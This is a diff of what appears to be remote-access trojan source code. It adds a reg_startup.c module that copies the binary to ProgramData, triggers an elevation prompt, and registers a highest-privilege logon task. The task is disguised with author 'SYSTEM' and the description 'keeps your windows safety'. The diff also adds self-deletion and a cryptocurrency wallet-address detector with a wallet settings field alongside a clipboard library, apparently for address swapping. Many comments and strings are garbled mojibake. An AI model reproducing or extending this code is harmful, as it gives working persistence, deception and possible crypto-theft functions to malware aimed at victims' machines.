// Only for X11: Sets the time (in milliseconds) that we must wait
// for the selection/clipboard owner to receive the content. This
// value is 1000 (one second) by default.
void set_x11_wait_timeout(int msecs);
int get_x11_wait_timeout();
} // namespace clip
#endif // CLIP_H_INCLUDED

View File

@@ -193,6 +193,7 @@
<ClCompile Include="proxy\ProxyManager.cpp" /> <ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" /> <ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" /> <ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
@@ -207,6 +208,7 @@
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\ikcp.h" /> <ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" /> <ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" /> <ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" /> <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
@@ -214,6 +216,7 @@
<ClInclude Include="auto_start.h" /> <ClInclude Include="auto_start.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" /> <ClInclude Include="domain_pool.h" />
@@ -230,6 +233,7 @@
<ClInclude Include="proxy\ProxyManager.h" /> <ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" /> <ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" /> <ClInclude Include="RegisterOperation.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource.h" /> <ClInclude Include="resource.h" />
<ClInclude Include="SafeThread.h" /> <ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenManager.h" /> <ClInclude Include="ScreenManager.h" />

342
client/reg_startup.c Normal file
View File

@@ -0,0 +1,342 @@
/*
* Author: 962914132@qq.com
* Purpose: Create a scheduled task.
* Language: C
*/
#include "reg_startup.h"
#include <windows.h>
#include <taskschd.h>
#include <wchar.h>
#include <userenv.h>
#include <lmcons.h>
#include <shlwapi.h>
#include <stdio.h>
#include <stddef.h>
#define Mprintf printf
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "userenv.lib")
#pragma comment(lib, "shlwapi.lib")
inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wcharSize) {
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
}
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>COM<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
return 1;
}
ITaskService* pService = NULL;
hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>TaskSchedulerʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
CoUninitialize();
return 2;
}
VARIANT empty;
VariantInit(&empty);
empty.vt = VT_EMPTY;
hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>񣬴<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 3;
}
WCHAR wRootPath[MAX_PATH] = {0};
ConvertCharToWChar("\\", wRootPath, MAX_PATH);
ITaskFolder* pRootFolder = NULL;
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 4;
}
WCHAR wTaskName[MAX_PATH] = {0};
ConvertCharToWChar(taskName, wTaskName, MAX_PATH);
IRegisteredTask* pOldTask = NULL;
hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask);
if (SUCCEEDED(hr) && pOldTask != NULL) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѵ<EFBFBD><EFBFBD><EFBFBD>: %s\n", taskName);
pOldTask->lpVtbl->Release(pOldTask);
if (check) {
pRootFolder->lpVtbl->Release(pRootFolder);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 0;
}
}
pRootFolder->lpVtbl->DeleteTask(pRootFolder, wTaskName, 0);
ITaskDefinition* pTask = NULL;
hr = pService->lpVtbl->NewTask(pService, 0, &pTask);
pRootFolder->lpVtbl->Release(pRootFolder);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 5;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ITaskSettings* pSettings = NULL;
hr = pTask->lpVtbl->get_Settings(pTask, &pSettings);
if (SUCCEEDED(hr)) {
BSTR zeroTime = SysAllocString(L"PT0S");
pSettings->lpVtbl->put_ExecutionTimeLimit(pSettings, zeroTime);
SysFreeString(zeroTime);
pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE);
pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE);
pSettings->lpVtbl->Release(pSettings);
}
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->lpVtbl->get_RegistrationInfo(pTask, &pRegInfo);
if (SUCCEEDED(hr)) {
WCHAR temp[MAX_PATH] = {0};
ConvertCharToWChar("SYSTEM", temp, MAX_PATH);
BSTR author = SysAllocString(temp);
pRegInfo->lpVtbl->put_Author(pRegInfo, author);
SysFreeString(author);
ConvertCharToWChar("v12.0.0.1", temp, MAX_PATH);
BSTR version = SysAllocString(temp);
pRegInfo->lpVtbl->put_Version(pRegInfo, version);
SysFreeString(version);
char d[] = {'T','h','i','s',' ','s','e','r','v','i','c','e',' ','k','e','e','p','s',' ',
'y','o','u','r',' ','w','i','n','d','o','w','s',' ','s','a','f','e','t','y','.',0};
ConvertCharToWChar(desc ? desc : d, temp, MAX_PATH);
BSTR bDesc = SysAllocString(temp);
pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc);
SysFreeString(bDesc);
pRegInfo->lpVtbl->Release(pRegInfo);
}
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
if (SUCCEEDED(hr)) {
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>񴥷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pTask->lpVtbl->Release(pTask);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 6;
}
pTrigger->lpVtbl->Release(pTrigger);
}
// <20><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>
IActionCollection* pActionCollection = NULL;
hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection);
if (SUCCEEDED(hr)) {
IAction* pAction = NULL;
hr = pActionCollection->lpVtbl->Create(pActionCollection, TASK_ACTION_EXEC, &pAction);
if (SUCCEEDED(hr)) {
IExecAction* pExecAction = NULL;
hr = pAction->lpVtbl->QueryInterface(pAction, &IID_IExecAction, (void**)&pExecAction);
if (SUCCEEDED(hr)) {
WCHAR wExePath[MAX_PATH] = {0};
ConvertCharToWChar(exePath, wExePath, MAX_PATH);
BSTR path = SysAllocString(wExePath);
pExecAction->lpVtbl->put_Path(pExecAction, path);
SysFreeString(path);
pExecAction->lpVtbl->Release(pExecAction);
}
pAction->lpVtbl->Release(pAction);
}
pActionCollection->lpVtbl->Release(pActionCollection);
}
// Ȩ<><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IPrincipal* pPrincipal = NULL;
if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
pPrincipal->lpVtbl->put_RunLevel(pPrincipal, TASK_RUNLEVEL_HIGHEST);
pPrincipal->lpVtbl->Release(pPrincipal);
}
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ITaskFolder* pFolder = NULL;
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder);
ConvertCharToWChar(taskName, wTaskName, MAX_PATH);
if (SUCCEEDED(hr)) {
char userName[UNLEN + 1] = {0};
DWORD nameLen = UNLEN + 1;
if (GetUserNameA(userName, &nameLen)) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD>. <20><>ǰ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s\n", userName);
}
WCHAR wUser[_MAX_PATH] = {0};
ConvertCharToWChar(userName, wUser, MAX_PATH);
BSTR bstrTaskName = SysAllocString(wTaskName);
VARIANT vUser;
VariantInit(&vUser);
vUser.vt = VT_BSTR;
vUser.bstrVal = SysAllocString(wUser);
IRegisteredTask* pRegisteredTask = NULL;
hr = pFolder->lpVtbl->RegisterTaskDefinition(
pFolder,
bstrTaskName,
pTask,
TASK_CREATE_OR_UPDATE,
vUser,
empty,
TASK_LOGON_INTERACTIVE_TOKEN,
empty,
&pRegisteredTask
);
if (SUCCEEDED(hr)) {
if (run) {
IRunningTask* pRunningTask = NULL;
hr = pRegisteredTask->lpVtbl->Run(pRegisteredTask, empty, &pRunningTask);
if (SUCCEEDED(hr)) {
pRunningTask->lpVtbl->Release(pRunningTask);
}
else {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>񣬴<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
}
}
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
}
VariantClear(&vUser);
SysFreeString(bstrTaskName);
pFolder->lpVtbl->Release(pFolder);
}
pTask->lpVtbl->Release(pTask);
pService->lpVtbl->Release(pService);
CoUninitialize();
return SUCCEEDED(hr) ? 0 : 7;
}
BOOL IsRunningAsAdmin()
{
BOOL isAdmin = FALSE;
PSID administratorsGroup = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0, &administratorsGroup)){
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)){
isAdmin = FALSE;
}
FreeSid(administratorsGroup);
}
return isAdmin;
}
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
{
SHELLEXECUTEINFOA shExecInfo;
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
shExecInfo.fMask = SEE_MASK_DEFAULT;
shExecInfo.hwnd = NULL;
shExecInfo.lpVerb = verb;
shExecInfo.lpFile = szFilePath;
shExecInfo.nShow = SW_NORMAL;
return ShellExecuteExA(&shExecInfo);
}
BOOL CreateDirectoryRecursively(const char* path)
{
if (PathFileExistsA(path))
return TRUE;
char temp[MAX_PATH] = { 0 };
size_t len = strlen(path);
strncpy(temp, path, len);
for (size_t i = 0; i < len; ++i){
if (temp[i] == '\\'){
temp[i] = '\0';
if (!PathFileExistsA(temp)){
if (!CreateDirectoryA(temp, NULL))
return FALSE;
}
temp[i] = '\\';
}
}
if (!CreateDirectoryA(temp, NULL))
return FALSE;
return TRUE;
}
int RegisterStartup(const char* startupName, const char* exeName)
{
#ifdef _DEBUG
return 1;
#endif
char folder[MAX_PATH] = { 0 };
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0){
size_t len = strlen(folder);
if (len > 0 && folder[len - 1] != '\\'){
folder[len] = '\\';
folder[len + 1] = '\0';
}
strcat(folder, startupName);
if (!CreateDirectoryRecursively(folder)){
Mprintf("Failed to create directory structure: %s\n", folder);
return -1;
}
}
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
if (_stricmp(curFile, dstFile) != 0){
if (!IsRunningAsAdmin()){
if (!LaunchAsAdmin(curFile, "runas")){
Mprintf("The program will now exit. Please restart it with administrator privileges.");
return -1;
}
Mprintf("Choosing with administrator privileges: %s.\n", curFile);
return 0;
} else {
Mprintf("Running with administrator privileges: %s.\n", curFile);
}
DeleteFileA(dstFile);
BOOL b = CopyFileA(curFile, dstFile, FALSE);
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE);
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s!\n", status == 0 ? "<EFBFBD>ɹ<EFBFBD>" : "ʧ<EFBFBD><EFBFBD>");
return 0;
}
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE);
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s!\n", status == 0 ? "<EFBFBD>ɹ<EFBFBD>" : "ʧ<EFBFBD><EFBFBD>");
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
return 1;
}

4
client/reg_startup.h Normal file
View File

@@ -0,0 +1,4 @@
#pragma once
// return > 0 means to continue running else terminate.
int RegisterStartup(const char* startupName, const char* exeName);

View File

@@ -7,6 +7,9 @@
#include "common/dllRunner.h" #include "common/dllRunner.h"
#include <common/iniFile.h> #include <common/iniFile.h>
#include "auto_start.h" #include "auto_start.h"
extern "C" {
#include "reg_startup.h"
}
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
@@ -200,6 +203,13 @@ public:
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>. // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
int main(int argc, const char *argv[]) int main(int argc, const char *argv[])
{ {
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Client Demo", "ClientDemo");
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;
}
BOOL ok = SetSelfStart(argv[0], REG_NAME); BOOL ok = SetSelfStart(argv[0], REG_NAME);
if(!ok) if(!ok)
{ {

View File

@@ -187,6 +187,8 @@ enum
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3> COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯ TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯
TOKEN_UNINSTALL = 63, // ж<><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PRIVATESCREEN = 64, // <20><>˽<EFBFBD><CBBD>Ļ
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤ TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
@@ -838,7 +840,7 @@ typedef struct MasterSettings {
char MasterVersion[12]; // <20><><EFBFBD>ذ汾 char MasterVersion[12]; // <20><><EFBFBD>ذ汾
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD> int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
char Reserved[472]; // Ԥ<><D4A4> char WalletAddress[472]; // Wallets
}MasterSettings; }MasterSettings;
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD> // 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>

View File

@@ -184,28 +184,64 @@ public:
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD> // <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
std::string getPublicIP() { std::string getPublicIP() {
clock_t t = clock(); clock_t t = clock();
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>ѯԴ
static const std::vector<std::string> urls = {
"https://checkip.amazonaws.com", // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
"https://api.ipify.org", // <20><><EFBFBD><EFBFBD><EFBFBD>߿<EFBFBD><DFBF><EFBFBD>
"https://ipinfo.io/ip", // <20><><EFBFBD>÷<EFBFBD><C3B7><EFBFBD>
"https://icanhazip.com", // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
"https://ifconfig.me/ip" // ĩλ<C4A9><CEBB><EFBFBD><EFBFBD>
};
// <20><><EFBFBD><EFBFBD> WinINet <20>
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) { if (!hInternet) {
Mprintf("getPublicIP failed cost %d ms.\n", clock() - t); Mprintf("InternetOpen failed. cost %d ms.\n", clock() - t);
return ""; return "";
} }
hConnect = InternetOpenUrl(hInternet, "https://api.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0); // <20><><EFBFBD>ó<EFBFBD>ʱ (<28><><EFBFBD><EFBFBD>)
if (!hConnect) { DWORD timeout = 3000; // 3 <20><>
InternetCloseHandle(hInternet); InternetSetOptionA(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(timeout));
Mprintf("getPublicIP failed cost %d ms.\n", clock() - t); InternetSetOptionA(hInternet, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout));
return ""; InternetSetOptionA(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout));
std::string result;
char buffer[2048];
DWORD bytesRead = 0;
// <20><>ѯ<EFBFBD><D1AF>ͬ IP <20><>ѯԴ
for (const auto& url : urls) {
HINTERNET hConnect = InternetOpenUrlA(
hInternet, url.c_str(), NULL, 0,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE,
0
);
if (!hConnect) {
continue; // <20><>ǰԴʧ<D4B4>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
}
memset(buffer, 0, sizeof(buffer));
if (InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
result.assign(buffer, bytesRead);
// ȥ<><C8A5><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD><D0B7>Ϳո<CDBF>
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
InternetCloseHandle(hConnect);
break; // <20>ɹ<EFBFBD><C9B9><EFBFBD>ȡ<EFBFBD><C8A1>ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
}
InternetCloseHandle(hConnect);
} }
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet); InternetCloseHandle(hInternet);
Mprintf("getPublicIP succeed cost %d ms.\n", clock() - t);
return std::string(buffer); Mprintf("getPublicIP %s cost %d ms.\n", result.empty() ? "failed" : "succeed", clock() - t);
return result;
} }
}; };

105
common/wallet.h Normal file
View File

@@ -0,0 +1,105 @@
#include <iostream>
#include <string>
#include <regex>
// Powered by ChatGPT.
enum WalletType {
WALLET_UNKNOWN = 0,
WALLET_BTC_P2PKH,
WALLET_BTC_P2SH,
WALLET_BTC_BECH32,
WALLET_ETH_ERC20, // ETH、ERC20含 USDT-ERC20
WALLET_USDT_OMNI, // USDT OmniBTC 网络,格式同 BTC
WALLET_USDT_TRC20, // USDT TRC20
WALLET_TRON,
WALLET_SOLANA,
WALLET_XRP,
WALLET_POLKADOT,
WALLET_CARDANO_SHELLEY,
WALLET_CARDANO_BYRON,
WALLET_DOGE // Dogecoin
};
enum AddressType {
ADDR_BTC = 0,
ADDR_ERC20,
ADDR_OMNI,
ADDR_TRC20,
ADDR_SOL,
ADDR_XRP,
ADDR_ADA,
ADDR_DOGE,
ADDR_DOT,
ADDR_TRON,
MAX_WALLET_NUM,
};
inline WalletType detectWalletType(const std::string& address_raw) {
std::string address = address_raw;
address.erase(0, address.find_first_not_of(" \t\n\r"));
address.erase(address.find_last_not_of(" \t\n\r") + 1);
// 1. ETH/ERC200x 开头)
static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$");
if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20;
// 2. TRC20T 开头)
static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$");
if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20;
// 3. BTC Bech32bc1 开头)
static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$");
if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32;
// 4. BTC P2PKH1 开头)
static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$");
if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH;
// 5. BTC P2SH3 开头)
static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$");
if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH;
// 6. XRPr 开头Base58
static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$");
if (std::regex_match(address, xrp_regex)) return WALLET_XRP;
// 7. DogecoinD 开头Base58
static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$");
if (std::regex_match(address, doge_regex)) return WALLET_DOGE;
// 8. Cardano Shelleyaddr1 开头)
static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$");
if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY;
// 9. Cardano ByronDdzFF 开头)
if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON;
// 10. Polkadot长度 4748Base58
static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$");
if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT;
// 11. Solana3244无前缀Base58→ 容易误判,必须放最后
static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$");
if (std::regex_match(address, solana_regex)) return WALLET_SOLANA;
return WALLET_UNKNOWN;
}
inline std::string walletTypeToString(WalletType type) {
switch (type) {
case WALLET_BTC_P2PKH: return "Bitcoin P2PKH (includes USDT-OMNI)";
case WALLET_BTC_P2SH: return "Bitcoin P2SH (includes USDT-OMNI)";
case WALLET_BTC_BECH32: return "Bitcoin Bech32";
case WALLET_ETH_ERC20: return "Ethereum / ERC20 (includes USDT-ERC20)";
case WALLET_USDT_TRC20: return "USDT TRC20";
case WALLET_TRON: return "TRON (same as USDT-TRC20)";
case WALLET_SOLANA: return "Solana";
case WALLET_XRP: return "XRP";
case WALLET_POLKADOT: return "Polkadot";
case WALLET_CARDANO_SHELLEY: return "Cardano Shelley";
case WALLET_CARDANO_BYRON: return "Cardano Byron";
case WALLET_DOGE: return "Dogecoin";
default: return "Unknown or Unsupported";
}
}

Binary file not shown.

Binary file not shown.

View File

@@ -1,3 +1,5 @@
# Requirements # Requirements
- HPSocket: https://github.com/ldcsaa/HP-Socket.git - HPSocket: https://github.com/ldcsaa/HP-Socket.git
- Clip: https://github.com/dacap/clip.git

BIN
lib/clip.lib Normal file

Binary file not shown.

BIN
lib/clip_x64.lib Normal file

Binary file not shown.

BIN
lib/clip_x64D.lib Normal file

Binary file not shown.

BIN
lib/clipd.lib Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -39,6 +39,9 @@
#include "client/MemoryModule.h" #include "client/MemoryModule.h"
#include <file/CFileManagerDlg.h> #include <file/CFileManagerDlg.h>
#include "CDrawingBoard.h" #include "CDrawingBoard.h"
#include "CWalletDlg.h"
#include <wallet.h>
#include "CRcEditDlg.h"
#ifdef _DEBUG #ifdef _DEBUG
#define new DEBUG_NEW #define new DEBUG_NEW
@@ -350,6 +353,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO); m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH); m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN); m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
